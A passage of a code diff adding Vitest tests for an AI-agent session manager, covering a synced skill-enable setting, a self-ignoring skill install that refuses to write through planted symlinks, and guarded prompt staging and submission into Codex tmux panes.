it("the server's explicit false wins over this device's blob (a synced key)", async () => {
const { app, checkbox } = await boot({ agentSkillEnabled: true });
await app.loadAppSettingsFromServer(Promise.resolve({ agentSkillEnabled: false }));
app.openAppSettings();
expect(checkbox().checked).toBe(false);
});
});
describe('Save', () => {
it('saving other settings on a never-touched install keeps it on, and the body passes the schema', async () => {
const { app, putBody } = await boot({});
app.openAppSettings();
await app.saveAppSettings();
const body = putBody();
expect(body.agentSkillEnabled).toBe(true);
// The whole body, not just this key: an undeclared key 400s every save.
expect(SettingsUpdateSchema.safeParse(body).error?.issues ?? []).toEqual([]);
});
it('switching it off sends an explicit false', async () => {
const { app, checkbox, putBody } = await boot({});
app.openAppSettings();
checkbox().checked = false;
await app.saveAppSettings();
expect(putBody().agentSkillEnabled).toBe(false);
});
});
// Every device that saved App Settings on 1.49.0 or earlier holds `agentSkillEnabled: false` in
// its own blob (the switch loaded an absent key as off). The server's boot migration
// (src/web/agent-skill-default-migration.ts) switches a stored false on by storing TRUE, because
// the merge only overwrites a synced key the server has: a key it deleted would leave the
// device's false in place, and the next Save would write it back.
describe('a device that saved before 1.50.0', () => {
const OLD_BLOB = { agentSkillEnabled: false, autoNameSessions: false };
it("after the server's migration (stored true) the switch shows on, and a Save keeps it on and passes the schema", async () => {
const { app, checkbox, putBody } = await boot(OLD_BLOB);
await app.loadAppSettingsFromServer(Promise.resolve({ agentSkillEnabled: true, lastUsedCase: 'demo' }));
app.openAppSettings();
expect(checkbox().checked).toBe(true);
await app.saveAppSettings();
const body = putBody();
expect(body.agentSkillEnabled).toBe(true);
// The migration's marker is a file of its own, never a setting: the Save can neither send it
// back nor be refused for it by the .strict() schema.
expect(Object.keys(body).filter((key) => /migrat/i.test(key))).toEqual([]);
expect(SettingsUpdateSchema.safeParse(body).error?.issues ?? []).toEqual([]);
});
it('on a server without the key (a save that never reached it) the switch shows the default, on', async () => {
const { app, checkbox, putBody } = await boot(OLD_BLOB);
await app.loadAppSettingsFromServer(Promise.resolve({ lastUsedCase: 'demo' }));
app.openAppSettings();
expect(checkbox().checked).toBe(true);
await app.saveAppSettings();
expect(putBody().agentSkillEnabled).toBe(true);
});
it('an off the user saved after the migration stays off on every device', async () => {
const { app, checkbox, putBody } = await boot({ agentSkillEnabled: true });
await app.loadAppSettingsFromServer(Promise.resolve({ agentSkillEnabled: false }));
app.openAppSettings();
expect(checkbox().checked).toBe(false);
await app.saveAppSettings();
expect(putBody().agentSkillEnabled).toBe(false);
});
it('without a server answer the device keeps what it has', async () => {
const { app, checkbox } = await boot(OLD_BLOB);
await app.loadAppSettingsFromServer(Promise.resolve(null as unknown as Settings));
app.openAppSettings();
expect(checkbox().checked).toBe(false);
});
});
describe('the App Settings row', () => {
const doc = new JSDOM(INDEX).window.document;
const row = doc.getElementById('appSettingsAgentSkill')!.closest('.set-row') as HTMLElement;
const desc = row.querySelector('.set-row-desc')!.textContent!;
it('is a synced switch', () => {
expect((doc.getElementById('appSettingsAgentSkill') as HTMLInputElement).type).toBe('checkbox');
expect(row.closest('.set-group')!.querySelector('.set-scope')!.textContent).toBe('synced');
});
it('says it is on by default, that git does not list the copy, and how to remove copies', () => {
expect(desc).toContain('On by default');
expect(desc).toContain('ignores itself in git');
expect(desc).toContain('codeman skill uninstall --case <name>');
});
});
+2
View File
@@ -81,6 +81,8 @@ describe('applyAgentSkill with a directory', () => {
expect(skillMd.startsWith('---\nname: codeman')).toBe(true);
expect(skillMd).toContain(MARKER_PREFIX);
expect(existsSync(join(skillDir, 'reference', 'endpoints.md'))).toBe(true);
// It ignores itself in git there too, like the Claude Code copy.
expect(await readFile(join(skillDir, '.gitignore'), 'utf-8')).toBe('*\n');
expect(existsSync(join(casePath, '.claude'))).toBe(false);
expect(await applyAgentSkill(casePath, true, AGENTS_DIR)).toBe('unchanged');
});
+168 -1
View File
@@ -7,12 +7,14 @@
* publish without them would be caught here before the `files` entry silently
* ignores the missing directory.
*
* Pure filesystem tests in a per-test temp dir. Port: N/A.
* Filesystem tests in a per-test temp dir; the self-ignoring block also runs real
* `git` there (no global or system config). Port: N/A.
*/
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
import { mkdtemp, rm, mkdir, writeFile, readFile, symlink, readdir, stat, utimes } from 'node:fs/promises';
import { existsSync } from 'node:fs';
import { execFileSync } from 'node:child_process';
import { join } from 'node:path';
import { tmpdir, homedir } from 'node:os';
import {
@@ -92,6 +94,8 @@ describe('installAgentSkillInto / applyAgentSkill(enabled)', () => {
expect(await applyAgentSkill(casePath, true)).toBe('foreign');
expect(await readFile(join(skillDir(), 'SKILL.md'), 'utf-8')).toContain('my own skill');
expect(existsSync(join(skillDir(), 'reference'))).toBe(false);
// Not even the ignore file: a foreign copy is the user's to track or not.
expect(existsSync(join(skillDir(), '.gitignore'))).toBe(false);
});
it('refuses to write through a symlinked skill dir (dogfooding layout)', async () => {
@@ -107,9 +111,61 @@ describe('installAgentSkillInto / applyAgentSkill(enabled)', () => {
expect(await installAgentSkillInto(skillDir())).toBe('symlink');
expect(await readdir(join(casePath, 'real-skills'))).toEqual([]);
});
// A cloned repository can commit `reference` as a link, and a Docker case's container
// can plant one in the bind-mounted workspace the host injects into (on by default).
it('refuses a symlinked reference/ folder inside the copy, so nothing is written where it points', async () => {
const outside = join(casePath, 'outside');
await mkdir(outside, { recursive: true });
await writeFile(join(outside, 'history.md'), 'my notes\n');
await mkdir(skillDir(), { recursive: true });
await symlink(outside, join(skillDir(), 'reference'));
expect(await applyAgentSkill(casePath, true)).toBe('symlink');
expect(await readdir(outside)).toEqual(['history.md']);
expect(await readFile(join(outside, 'history.md'), 'utf-8')).toBe('my notes\n');
// Refused before the first write: no SKILL.md, no ignore file.
expect(await readdir(skillDir())).toEqual(['reference']);
});
it('refuses a symlinked reference/ folder planted beside an existing Codeman copy', async () => {
await applyAgentSkill(casePath, true);
const outside = join(casePath, 'outside');
await mkdir(outside, { recursive: true });
await writeFile(join(outside, 'recipes.md'), 'my recipes\n');
await rm(join(skillDir(), 'reference'), { recursive: true });
await symlink(outside, join(skillDir(), 'reference'));
const skillMd = await readFile(join(skillDir(), 'SKILL.md'), 'utf-8');
await writeFile(join(skillDir(), 'SKILL.md'), `stale\n${MARKER_PREFIX}: old -->\n`);
expect(await applyAgentSkill(casePath, true)).toBe('symlink');
expect(await readdir(outside)).toEqual(['recipes.md']);
expect(await readFile(join(outside, 'recipes.md'), 'utf-8')).toBe('my recipes\n');
// The stale copy is left as found, not refreshed through the link.
expect(await readFile(join(skillDir(), 'SKILL.md'), 'utf-8')).not.toBe(skillMd);
});
});
describe('removeAgentSkillFrom / applyAgentSkill(disabled)', () => {
it('refuses to delete through a symlinked reference/ folder inside the copy', async () => {
await applyAgentSkill(casePath, true);
const outside = join(casePath, 'outside');
await mkdir(outside, { recursive: true });
// Files named like the packaged reference files: an unlink through the link would take them.
for (const name of await readdir(join(skillDir(), 'reference'))) {
await writeFile(join(outside, name), 'not yours\n');
}
const names = (await readdir(outside)).sort();
expect(names.length).toBeGreaterThan(0);
await rm(join(skillDir(), 'reference'), { recursive: true });
await symlink(outside, join(skillDir(), 'reference'));
expect(await applyAgentSkill(casePath, false)).toBe('symlink');
expect((await readdir(outside)).sort()).toEqual(names);
for (const name of names) expect(await readFile(join(outside, name), 'utf-8')).toBe('not yours\n');
expect(existsSync(join(skillDir(), 'SKILL.md'))).toBe(true);
});
it('removes our copy and prunes the emptied directories', async () => {
await applyAgentSkill(casePath, true);
expect(await applyAgentSkill(casePath, false)).toBe('removed');
@@ -139,6 +195,117 @@ describe('removeAgentSkillFrom / applyAgentSkill(disabled)', () => {
expect(existsSync(join(skillDir(), 'reference', 'endpoints.md'))).toBe(false);
// The user's file and the directories holding it survive.
expect(await readFile(join(skillDir(), 'reference', 'my-notes.md'), 'utf-8')).toBe('mine\n');
// And so does the ignore file, so their notes stay out of `git status` as before.
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('*\n');
});
});
describe('the injected copy ignores itself in git', () => {
const ENV = {
...process.env,
LC_ALL: 'C',
GIT_AUTHOR_NAME: 'T',
GIT_AUTHOR_EMAIL: 't@example.com',
GIT_COMMITTER_NAME: 'T',
GIT_COMMITTER_EMAIL: 't@example.com',
GIT_CONFIG_GLOBAL: '/dev/null',
GIT_CONFIG_NOSYSTEM: '1',
};
const git = (...args: string[]) =>
execFileSync('git', args, { cwd: casePath, env: ENV, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
/** Exit status of `git check-ignore -q -- <path>`: 0 ignored, 1 not ignored. */
const checkIgnore = (path: string): number => {
try {
git('check-ignore', '-q', '--', path);
return 0;
} catch (err) {
return (err as { status: number }).status;
}
};
/** A repository with one commit and a tracked `.gitignore` of its own. */
const initRepo = async () => {
git('init', '-q', '-b', 'main');
await writeFile(join(casePath, 'README.md'), 'hello\n');
await writeFile(join(casePath, '.gitignore'), 'node_modules/\n');
git('add', 'README.md', '.gitignore');
git('-c', 'commit.gpgsign=false', 'commit', '-q', '-m', 'init');
};
it('writes a .gitignore of `*` into the copy on install', async () => {
expect(await applyAgentSkill(casePath, true)).toBe('installed');
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('*\n');
// Never part of the skill content: a second run has nothing to do.
expect(await applyAgentSkill(casePath, true)).toBe('unchanged');
});
it('keeps `git status` of the user repository clean, and leaves its own ignore file alone', async () => {
await initRepo();
await applyAgentSkill(casePath, true);
await applyAgentSkill(casePath, true, '.agents/skills');
expect(git('status', '--porcelain', '--untracked-files=all')).toBe('');
expect(await readFile(join(casePath, '.gitignore'), 'utf-8')).toBe('node_modules/\n');
// Nor the repository's local exclude file (git's template may or may not create one).
const exclude = join(casePath, '.git', 'info', 'exclude');
if (existsSync(exclude)) expect(await readFile(exclude, 'utf-8')).not.toContain('codeman');
});
it('ignores the copy contents, never the folder above it (Claude Code checks only those)', async () => {
// Claude Code 2.1.319 skips a nested skills folder when `git check-ignore` says its
// project directory is ignored; it never checks a skill folder or its SKILL.md.
await initRepo();
await applyAgentSkill(casePath, true);
expect(checkIgnore('.claude/skills/codeman/SKILL.md')).toBe(0);
expect(checkIgnore('.claude/skills/codeman')).toBe(1);
expect(checkIgnore('.claude/skills')).toBe(1);
expect(checkIgnore('.claude')).toBe(1);
});
it('never overwrites a .gitignore that is already in the folder', async () => {
await applyAgentSkill(casePath, true);
await writeFile(join(skillDir(), '.gitignore'), '# mine\nSKILL.md\n');
// A stale copy: the refresh rewrites the skill but not the ignore file.
await writeFile(join(skillDir(), 'SKILL.md'), `stale\n${MARKER_PREFIX}: old -->\n`);
expect(await applyAgentSkill(casePath, true)).toBe('refreshed');
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('# mine\nSKILL.md\n');
});
it('a copy injected before the ignore file existed gains it on the next install', async () => {
await applyAgentSkill(casePath, true);
await rm(join(skillDir(), '.gitignore'));
// Every skill file is current, so only the ignore file is new: still a refresh.
expect(await applyAgentSkill(casePath, true)).toBe('refreshed');
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('*\n');
});
it('does not write through a symlink planted at the ignore file name', async () => {
await mkdir(skillDir(), { recursive: true });
const outside = join(casePath, 'outside.txt');
await writeFile(outside, 'untouched\n');
await symlink(outside, join(skillDir(), '.gitignore'));
expect(await applyAgentSkill(casePath, true)).toBe('installed');
expect(await readFile(outside, 'utf-8')).toBe('untouched\n');
});
it('uninstall removes the ignore file with the copy, so no folder is left behind', async () => {
await initRepo();
await applyAgentSkill(casePath, true);
expect(await applyAgentSkill(casePath, false)).toBe('removed');
expect(existsSync(skillDir())).toBe(false);
expect(existsSync(join(casePath, '.claude', 'skills'))).toBe(false);
expect(git('status', '--porcelain', '--untracked-files=all')).toBe('');
});
it("uninstall keeps an ignore file that is not Codeman's", async () => {
await applyAgentSkill(casePath, true);
await writeFile(join(skillDir(), '.gitignore'), 'SKILL.md\n');
expect(await applyAgentSkill(casePath, false)).toBe('removed');
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('SKILL.md\n');
});
it('the packaged source carries no ignore file (the plugin mirror pins its file set)', () => {
expect(existsSync(join(process.cwd(), 'skills', 'codeman', '.gitignore'))).toBe(false);
expect(existsSync(join(process.cwd(), 'plugins', 'codeman', 'skills', 'codeman', '.gitignore'))).toBe(false);
});
});
+579
View File
@@ -0,0 +1,579 @@
/** @fileoverview Guarded input observes all production write and lifecycle primitives. */
import { expect, it, vi } from 'vitest';
import { formatPaneSnapshot } from '../src/tmux-manager.js';
import { Session } from '../src/session.js';
import { promptSha256 } from '../src/agent-staging.js';
import type { SessionAdopt } from '../src/types/session.js';
it('fences writes and reused-pid pane lifecycles without persisting prompt content', async () => {
let screen = '› \n GPT-6-Luna default · ~/case\n';
const mux = {
isAvailable: () => true,
capturePaneBuffer: (
_name: string,
_pane?: string,
opts?: { capturedGeometry?: { cols: number; rows: number } }
) => {
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
return formatPaneSnapshot(screen.trimEnd().split('\n'), {
cols: 100,
rows: 20,
cursorX: screen.startsWith('› hello') ? 7 : 2,
cursorY: 0,
});
},
sendInput: async () => true,
};
const session = new Session({
workingDir: '/tmp',
mode: 'codex',
mux,
muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 12345 },
} as unknown as ConstructorParameters<typeof Session>[0]);
const before = session.guardedInputSnapshot();
expect(before?.composerSha).toBe(promptSha256(''));
await session.writeViaMux('hello');
screen = '› hello\n GPT-6-Luna default · ~/case\n';
expect(session.guardedInputSnapshot()?.revision).toBe(before!.revision + 1);
session.trackUserInput('x');
expect(session.guardedInputSnapshot()?.revision).toBe(before!.revision + 2);
await session.performAuxiliaryInput(async () => {});
expect(session.guardedInputSnapshot()?.revision).toBe(before!.revision + 3);
const generation = session.inspectionGeneration;
await (session as unknown as { _withPaneLifecycle(op: () => Promise<void>): Promise<void> })._withPaneLifecycle(
async () => {
expect(session.guardedInputSnapshot()).toBeNull();
}
);
expect(session.inspectionGeneration).not.toBe(generation);
session.markPromptSubmitted();
expect(session.guardedInputSnapshot()?.revision).toBe(before!.revision + 4);
await session.stop(false);
expect(session.guardedInputSnapshot()).toBeNull();
});
it('checks conditional Enter at the dispatch boundary and holds concurrent input until after it', async () => {
let dispatch: (() => void) | undefined;
const writes: string[] = [];
const mux = {
isAvailable: () => true,
capturePaneBuffer: (
_name: string,
_pane?: string,
opts?: { capturedGeometry?: { cols: number; rows: number } }
) => {
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
return formatPaneSnapshot(['› hello', ' GPT-6-Luna default · ~/case'], {
cols: 100,
rows: 20,
cursorX: 7,
cursorY: 0,
});
},
sendInput: async (_id: string, text: string, options?: { beforeDispatch?: () => boolean }) => {
await new Promise<void>((resolve) => {
dispatch = resolve;
});
if (options?.beforeDispatch && !options.beforeDispatch()) return false;
writes.push(text);
return true;
},
};
const session = new Session({
workingDir: '/tmp',
mode: 'codex',
mux,
muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 1 },
} as unknown as ConstructorParameters<typeof Session>[0]);
try {
const settle = () => new Promise<void>((resolve) => setImmediate(resolve));
const expected = session.guardedInputSnapshot()!;
const sending = session.submitGuardedInput(expected);
// Held behind the lease, not refused: it still invalidates the pending Enter, and
// it goes out once the lease is released.
const other = session.writeViaMux('other');
dispatch!();
expect(await sending).toBe(false);
expect(writes).toEqual([]);
await settle();
dispatch!();
expect(await other).toBe(true);
expect(writes).toEqual(['other']);
const next = session.submitGuardedInput(session.guardedInputSnapshot()!);
dispatch!();
expect(await next).toBe(true);
expect(writes).toEqual(['other', '\r']);
const restarting = session.submitGuardedInput(session.guardedInputSnapshot()!);
await (session as unknown as { _withPaneLifecycle(op: () => Promise<void>): Promise<void> })._withPaneLifecycle(
async () => {}
);
dispatch!();
expect(await restarting).toBe(false);
expect(writes).toEqual(['other', '\r']);
const auxiliary = session.submitGuardedInput(session.guardedInputSnapshot()!);
const key = session.performAuxiliaryInput(async () => {
writes.push('aux');
});
await settle();
// The named key waits for the lease instead of failing, and never runs inside it.
expect(writes).toEqual(['other', '\r']);
dispatch!();
expect(await auxiliary).toBe(false);
await key;
expect(writes).toEqual(['other', '\r', 'aux']);
} finally {
await session.stop(false);
}
});
it('cancels an older automatic submit verifier before staging an identical prompt', async () => {
vi.useFakeTimers();
let composer = '';
const writes: string[] = [];
const mux = {
isAvailable: () => true,
capturePaneBuffer: (
_name: string,
_pane?: string,
opts?: { capturedGeometry?: { cols: number; rows: number } }
) => {
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
return formatPaneSnapshot([`› ${composer}`, ' GPT-6-Luna default · ~/case'], {
cols: 100,
rows: 20,
cursorX: 2 + composer.length,
cursorY: 0,
});
},
capturePaneText: () => `› ${composer}\n GPT-6-Luna default · ~/case`,
sendInput: async (_id: string, text: string) => {
writes.push(text);
composer += text;
return true;
},
};
const session = new Session({
workingDir: '/tmp',
mode: 'codex',
mux,
muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 1 },
} as unknown as ConstructorParameters<typeof Session>[0]);
try {
session.verifySubmitted('hello');
expect(await session.stageGuardedInput('hello')).toBe(true);
await vi.advanceTimersByTimeAsync(2000);
expect(writes).toEqual(['hello']);
} finally {
await session.stop(false);
vi.useRealTimers();
}
});
it('routes automatic verifier Enter through the shared guarded input boundary', async () => {
vi.useFakeTimers();
let release!: () => void;
const writes: string[] = [];
const mux = {
isAvailable: () => true,
capturePaneBuffer: (
_name: string,
_pane?: string,
opts?: { capturedGeometry?: { cols: number; rows: number } }
) => {
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
return formatPaneSnapshot(['› hello', ' GPT-6-Luna default · ~/case'], {
cols: 100,
rows: 20,
cursorX: 7,
cursorY: 0,
});
},
capturePaneText: () => '› hello\n GPT-6-Luna default · ~/case',
sendInput: async (_id: string, text: string, options?: { beforeDispatch?: () => boolean }) => {
if (options?.beforeDispatch) {
await new Promise<void>((resolve) => {
release = resolve;
});
if (!options.beforeDispatch()) return false;
}
writes.push(text);
return true;
},
};
const session = new Session({
workingDir: '/tmp',
mode: 'codex',
mux,
muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 1 },
} as unknown as ConstructorParameters<typeof Session>[0]);
try {
session.verifySubmitted('hello');
const submission = session.submitGuardedInput(session.guardedInputSnapshot()!);
await vi.advanceTimersByTimeAsync(2000);
release();
expect(await submission).toBe(false);
await vi.advanceTimersByTimeAsync(60000);
expect(writes).toEqual([]);
} finally {
await session.stop(false);
vi.useRealTimers();
}
});
it('refuses legacy one-shot prompt entrypoints during a guarded submission before spawning', async () => {
let release!: () => void;
const writes: string[] = [];
const mux = {
isAvailable: () => true,
capturePaneBuffer: (
_name: string,
_pane?: string,
opts?: { capturedGeometry?: { cols: number; rows: number } }
) => {
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
return formatPaneSnapshot(['› hello', ' GPT-6-Luna default · ~/case'], {
cols: 100,
rows: 20,
cursorX: 7,
cursorY: 0,
});
},
sendInput: async (_id: string, text: string, options?: { beforeDispatch?: () => boolean }) => {
await new Promise<void>((resolve) => {
release = resolve;
});
if (options?.beforeDispatch && !options.beforeDispatch()) return false;
writes.push(text);
return true;
},
};
const session = new Session({
workingDir: '/tmp',
mode: 'codex',
mux,
muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 1 },
} as unknown as ConstructorParameters<typeof Session>[0]);
const access = session as unknown as { ptyProcess: { write(data: string): void } | null };
try {
const submission = session.submitGuardedInput(session.guardedInputSnapshot()!);
// This also prevents a real spawn if the lease guard regresses.
access.ptyProcess = {
write: () => {
throw new Error('must not write');
},
};
await expect(session.runPrompt('other')).rejects.toThrow('Guarded submission');
await expect(session.sendInput('other')).rejects.toThrow('Guarded submission');
access.ptyProcess = null;
release();
expect(await submission).toBe(false);
expect(writes).toEqual([]);
} finally {
access.ptyProcess = null;
await session.stop(false);
}
});
it('counts an ordinary transport pending window before any awaited acknowledgement', async () => {
let release!: () => void;
const session = new Session({
workingDir: '/tmp',
mode: 'codex',
mux: {
isAvailable: () => true,
sendInput: async () => {
await new Promise<void>((resolve) => {
release = resolve;
});
return true;
},
},
muxSession: { muxName: 'codeman-12345678', sessionId: 'test', createdAt: 1, pid: 1 },
} as unknown as ConstructorParameters<typeof Session>[0]);
try {
const writing = session.writeViaMux('hello');
expect(session.guardedInputPendingWrites).toBe(1);
release();
await writing;
expect(session.guardedInputPendingWrites).toBe(0);
} finally {
release?.();
await session.stop(false);
}
});
it('uses fresh normalized pane rows for working/dialog denial before exact composer proof', async () => {
let working = false;
const capture = vi.fn(() =>
formatPaneSnapshot(
[working ? '• Working (1s · esc to interrupt)' : 'ready', '› hello', ' GPT-6-Luna default · ~/case'],
{ cols: 100, rows: 20, cursorX: 7, cursorY: 1 }
)
);
const session = new Session({
workingDir: '/tmp',
mode: 'codex',
mux: {
isAvailable: () => true,
capturePaneBuffer: (
_name: string,
_pane?: string,
opts?: { capturedGeometry?: { cols: number; rows: number } }
) => {
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
return capture();
},
capturePaneText: () => {
throw Error('must use same frame');
},
},
muxSession: { muxName: 'codeman-12345678', sessionId: 'test', createdAt: 1, pid: 1 },
} as unknown as ConstructorParameters<typeof Session>[0]);
try {
const blocked = vi.spyOn(session as unknown as { _paneShowsBlocked(text: string): boolean }, '_paneShowsBlocked');
expect(session.guardedInputSnapshot()).not.toBeNull();
expect(blocked.mock.calls[0][0]).toContain('ready\n› hello\n');
working = true;
expect(session.guardedInputSnapshot()).toBeNull();
blocked.mockReturnValue(true);
working = false;
expect(session.guardedInputSnapshot()).toBeNull();
} finally {
await session.stop(false);
}
});
it('keeps raw user input synchronous and preserves receipts for focus/mouse/noop reports', async () => {
const writes: string[] = [];
const session = new Session({
workingDir: '/tmp',
mode: 'codex',
mux: {
isAvailable: () => true,
capturePaneBuffer: (
_name: string,
_pane?: string,
opts?: { capturedGeometry?: { cols: number; rows: number } }
) => {
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
return formatPaneSnapshot(['› hello', ' GPT-6-Luna default · ~/case'], {
cols: 100,
rows: 20,
cursorX: 7,
cursorY: 0,
});
},
},
muxSession: { muxName: 'codeman-12345678', sessionId: 'test', createdAt: 1, pid: 1 },
} as unknown as ConstructorParameters<typeof Session>[0]);
const access = session as unknown as {
ptyProcess: { write(data: string): void; resize(cols: number, rows: number): void } | null;
};
access.ptyProcess = {
write: (text) => {
writes.push(text);
},
resize: () => {},
};
try {
const before = session.guardedInputSnapshot()!;
for (const data of ['\x1b[I', '\x1b[O', '\x1b[<0;10;5M', '\x1b[M !!', '']) {
expect(session.write(data, { fromUser: true })).toBe(true);
expect(writes.at(-1)).toBe(data);
expect(session.guardedInputSnapshot()?.revision).toBe(before.revision);
}
session.write('\x1b[Oedit');
expect(session.guardedInputSnapshot()?.revision).toBe(before.revision + 1);
const generation = session.inspectionGeneration;
session.owner = 'other';
session.owner = undefined;
expect(session.inspectionGeneration).not.toBe(generation);
const priorResize = session.guardedInputGeneration;
session.resize(80, 24);
expect(session.guardedInputGeneration).not.toBe(priorResize);
} finally {
access.ptyProcess = null;
await session.stop(false);
}
});
it('refuses a message that would wrap using the actual captured indent and width before any write', async () => {
const writes: string[] = [];
const session = new Session({
workingDir: '/tmp',
mode: 'codex',
mux: {
isAvailable: () => true,
capturePaneBuffer: (
_name: string,
_pane: string,
opts: { capturedGeometry?: { cols: number; rows: number } }
) => {
if (opts) opts.capturedGeometry = { cols: 30, rows: 20 };
return formatPaneSnapshot([' › ', ' GPT-6 default · ~/case'], {
cols: 30,
rows: 20,
cursorX: 6,
cursorY: 0,
});
},
sendInput: async (_id: string, text: string) => {
writes.push(text);
return true;
},
},
muxSession: { muxName: 'codeman-12345678', sessionId: 'test', createdAt: 1, pid: 1 },
} as unknown as ConstructorParameters<typeof Session>[0]);
const { GuardedStageStore, guardedComposerChrome } = await import('../src/agent-staging.js');
const { getCli } = await import('../src/config/cli-registry/registry.js');
try {
const store = new GuardedStageStore();
const target = {
id: session.id,
chrome: () => guardedComposerChrome(getCli('codex')),
snapshot: () => session.guardedInputSnapshot(),
write: (text: string) => session.stageGuardedInput(text),
submit: (snap: Parameters<Session['submitGuardedInput']>[0]) => session.submitGuardedInput(snap),
};
await expect(store.stage(target, 'alice', 'x'.repeat(24))).rejects.toThrow(/wrap/);
expect(writes).toEqual([]);
} finally {
await session.stop(false);
}
});
it('keeps inspection generations stable across resize but invalidates a staged snapshot', async () => {
const session = new Session({ workingDir: '/tmp', mode: 'codex' });
const access = session as unknown as { ptyProcess: { resize(cols: number, rows: number): void } | null };
access.ptyProcess = { resize: () => {} };
try {
const inspection = session.inspectionGeneration;
const staging = session.guardedInputGeneration;
session.resize(80, 24);
expect(session.inspectionGeneration).toBe(inspection);
expect(session.guardedInputGeneration).not.toBe(staging);
} finally {
access.ptyProcess = null;
await session.stop(false);
}
});
it('records a verifier re-press as the latest submit time', async () => {
vi.useFakeTimers();
vi.setSystemTime(10000);
const session = new Session({
workingDir: '/tmp',
mode: 'codex',
mux: { isAvailable: () => true, capturePaneText: () => '› hello\n', sendInput: async () => true },
muxSession: { muxName: 'codeman-12345678', sessionId: 'test', createdAt: 1, pid: 1 },
} as unknown as ConstructorParameters<typeof Session>[0]);
try {
await session.writeViaMux('hello\r');
const initial = session.lastSubmitAt;
await vi.advanceTimersByTimeAsync(2000);
expect(session.lastSubmitAt).toBe(initial + 2000);
} finally {
await session.stop(false);
vi.useRealTimers();
}
});
it('stages through a real session whose first post-write capture is the torn frame codex produces', async () => {
// Reproduces the live 0.162.0 race: right after the keys land, the screen still
// shows the empty composer while the caret is already past the new text. That
// frame proves nothing; the repaint a few ms later does.
let composer = '';
let torn = 0;
const writes: string[] = [];
const session = new Session({
workingDir: '/tmp',
mode: 'codex',
mux: {
isAvailable: () => true,
capturePaneBuffer: (
_name: string,
_pane?: string,
opts?: { capturedGeometry?: { cols: number; rows: number } }
) => {
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
const shown = torn > 0 ? '' : composer;
if (torn > 0) torn--;
return formatPaneSnapshot([`› ${shown}`, ' GPT-6-Luna default · ~/case'], {
cols: 100,
rows: 20,
cursorX: 2 + composer.length,
cursorY: 0,
});
},
sendInput: async (_id: string, text: string, options?: { beforeDispatch?: () => boolean }) => {
if (options?.beforeDispatch && !options.beforeDispatch()) return false;
writes.push(text);
if (text !== '\r') {
composer += text;
torn = 2;
}
return true;
},
},
muxSession: { muxName: 'codeman-12345678', sessionId: 'test', createdAt: 1, pid: 1 },
} as unknown as ConstructorParameters<typeof Session>[0]);
const { GuardedStageStore, guardedComposerChrome } = await import('../src/agent-staging.js');
const { getCli } = await import('../src/config/cli-registry/registry.js');
const sleeps: number[] = [];
const store = new GuardedStageStore(Date.now, 1024, 120000, {
sleep: async (ms) => {
sleeps.push(ms);
},
});
const target = {
id: session.id,
chrome: () => guardedComposerChrome(getCli('codex')),
snapshot: () => session.guardedInputSnapshot(),
write: (text: string) => session.stageGuardedInput(text),
submit: (snap: Parameters<Session['submitGuardedInput']>[0]) => session.submitGuardedInput(snap),
};
try {
const receipt = await store.stage(target, 'alice', 'hello');
expect(receipt.sha256).toBe(promptSha256('hello'));
expect(sleeps).toHaveLength(2);
await expect(store.submit(target, 'alice', receipt.stageId, receipt.sha256)).resolves.toMatchObject({
submitted: true,
});
expect(writes).toEqual(['hello', '\r']);
} finally {
await session.stop(false);
}
});
it('offers no guarded input on an adopted pane, however much it looks like a composer', () => {
// Stage and submit type a prompt on an agent's behalf, here into a pane a human is using.
const screen = '\u203a \n GPT-6-Luna default \u00b7 ~/case\n';
const mux = {
isAvailable: () => true,
capturePaneBuffer: (
_name: string,
_pane?: string,
opts?: { capturedGeometry?: { cols: number; rows: number } }
) => {
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
return formatPaneSnapshot(screen.trimEnd().split('\n'), { cols: 100, rows: 20, cursorX: 2, cursorY: 0 });
},
sendInput: async () => true,
};
const build = (adopt?: SessionAdopt) =>
new Session({
workingDir: '/tmp',
mode: 'codex',
mux,
adopt,
muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 12345 },
} as unknown as ConstructorParameters<typeof Session>[0]);
expect(build().guardedInputSnapshot()).not.toBeNull();
expect(
build({
location: 'local',
socketPath: '/tmp/tmux-1000/default',
targetSession: 'work',
viewSession: 'codeman-view-00000000',
}).guardedInputSnapshot()
).toBeNull();
});
+380
View File
@@ -0,0 +1,380 @@
/** @fileoverview Guarded staging one-shot and content-verification safety. */
import { beforeEach, describe, expect, it } from 'vitest';
import { createHash } from 'node:crypto';
import { CODEX_REASONING_EFFORTS } from '../src/types/session.js';
import {
GuardedStageStore,
STAGE_SETTLE_INTERVAL_MS,
STAGE_SETTLE_TIMEOUT_MS,
SUBMIT_QUIET_MS,
composerTriggerRefusal,
guardedComposerChrome,
readGuardedComposer,
readGuardedSnapshot,
type GuardedInputTarget,
} from '../src/agent-staging.js';
import { getCli, listClis } from '../src/config/cli-registry/registry.js';
/** Codex's composer chrome exactly as the registry declares it: no copy of the glyph or footer here. */
const CODEX = guardedComposerChrome(getCli('codex'))!;
const readGuardedCodexComposer = (screen: string) => readGuardedComposer(screen, CODEX);
const readGuardedCodexSnapshot = (snapshot: string) => readGuardedSnapshot(snapshot, CODEX);
const sha = (s: string) => createHash('sha256').update(s).digest('hex');
let store: GuardedStageStore;
let time: number;
let generation: string;
let revision: number;
let composer: string | null;
let writes: string[];
let fail: boolean;
let target: GuardedInputTarget;
